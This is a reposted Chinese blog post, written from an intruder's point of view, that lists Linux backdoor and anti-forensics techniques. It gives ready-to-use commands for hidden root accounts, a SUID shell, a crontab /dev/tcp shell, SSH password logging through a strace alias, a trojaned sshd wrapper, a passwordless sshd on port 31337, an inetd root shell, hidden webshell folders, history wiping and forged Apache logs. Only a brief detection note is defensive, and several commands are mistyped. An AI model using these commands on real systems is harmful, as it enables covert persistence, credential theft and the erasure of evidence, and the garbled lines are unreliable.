轉載自 https://evilanne.github.io/2017/08/26/Linux后門-持續關注/
在一次滲透中,成功獲取某目標幾台比較重要的機器,當時只想着獲取脫庫,結果動靜太大被發現了,之前滲透並沒太在意Linux后門,經過此次事后從Google找各種資料,一款滿意的rootkit都沒有,現在一至在關注這方面,有的話會繼續更新
常用后門技術
- 增加超級用戶帳號
- 破解/嗅控用戶密碼
- 放置SUID Shell****
- 利用系統服務程序
- TCP/UDP/ICMP Shell
- Crontab定時任務
- 共享庫文件
- 工具包rootkit
- 可裝載內核模塊(LKM)
增加超級用戶
echo "Img:x:0:0::/:/bin/sh" >> /etc/passwd
如果系統不允許uid=0的用戶遠程登錄, 還需要增加一個普通用戶賬號
echo "Img:x::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
無回顯添加Linux密碼:
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/Img:x Img:x -p $1$F1B0hFxb$NkzreGE7srRJ**\/
useradd seradd -u 0 -o -g root -G roo1|| echo "123456" | passwd --stdin roo1
echo "123456\n123456" |(sudo passwd roo1)
useradd -u 0 -o -g root -G root user2 |echo -e "1qaz2wsx\n1qaz2wsx"|passwd user1
破解/嗅探用戶密碼
獲得shadow文件后,用John the Ripper
工具破解薄弱的用戶密碼。
嗅探工具,監聽telnet、ftp等 端口,收集用戶密碼。
放置SUID Shell
(測試失敗):bash2針對suid做了一些護衛措施
普通用戶在本機運行/dev/.rootshell,即可獲得一個root權限的shell。
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
Crontab后門
(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;\rno crontab for `whoami`%100c\n")|crontab –
ssh 公鑰免密
(容易被發現)
ssh-keygen -t rsa
把id_rsa.pub
寫入服務端的authorized_keys
中
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
alias 后門
當前用戶目錄下.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
pam 后門 or openssh
最大問題是編譯環境
SSH wrapper后門簡介
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
連接:
socat STDIO TCP4:target_ip:22,sourceport=13377
默認端口為13377否則會出現:
mafix rootkit
應用級rookit,主要替換ls、ps、netstat命令來隱藏文件
http://www.tuicool.com/articles/eIv22az
利用系統服務程序
修改/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用trojan
程序替換in.telnetd、in.rexecd
等 inted的服務程序重定向login程序
TCP/UDP/ICMP Shell
BindShell,大部分是基於TCP/UDP協議 的網絡服務程序,在高端口監聽,很容易 被發現。
Ping Backdoor,通過ICMP包激活后門, 形成一個Shell通道。
TCP ACK數據包后門,能夠穿越防火牆。
共享庫文件
在共享庫中嵌入后門函數
使用后門口令激活Shell,獲得權限
能夠躲避系統管理員對二進制文件本身的 校驗
工具包rootkit
包含一系列系統及后門工具:
- 清除日志中的登錄記錄
- 偽裝校驗和
- 替換netstat、ps等網絡工具 – 后門登錄程序易於安裝和使用
可裝載內核模塊(LKM)
LKM:Loadable Kernel Modules
動態的加載,不需要重新編譯內核。
截獲系統調用,具有隱藏目錄、文件、進 程、網絡連接等強大功能。
自身隱蔽性好,發現難度較大。
著名的LKM包有adore和knark。
SSH后門
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
執行完之后,任何一台機器ssh root@IP -p 31337
不需要密碼
后門的檢測
使用Tripwire或md5校驗來檢查系統。
借助IDS系統,監聽到目標機器的可疑網 絡連接。
隱藏文件
Linux/Unix 藏文件和文件夾
Linux/Unix 下想藏 Webshell 或者后門什么的,可以利用一下隱藏文件夾和文件。
方法一
比如創建一個名字開頭帶 . 的 Webshell 或者文件夾,默認情況下是不會顯示出來的,瀏覽器訪問的時候加點訪問就行。(查看方法:ls -a)
touch .webshell.php 創建名字為 .webshell.php 的文件
mkdir .backdoor/ 創建名字為 .backdoor 的文件夾
終極方法
在管理員喝多了或者腦子轉不過來的情況下,是絕對不會發現的!至少我用了這么久是沒幾個發現的。
是文件的話瀏覽器訪問直接輸 … 就行,目錄同理。
touch … 創建名字為 … 的文件
mkdir … 創建名字為 … 的文件夾
清理
bash去掉history記錄
export HISTSIZE=0 export HISTFILE=/dev/null
修改上傳文件時間戳
touch -r 老文件時間戳 新文件時間戳
偽造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log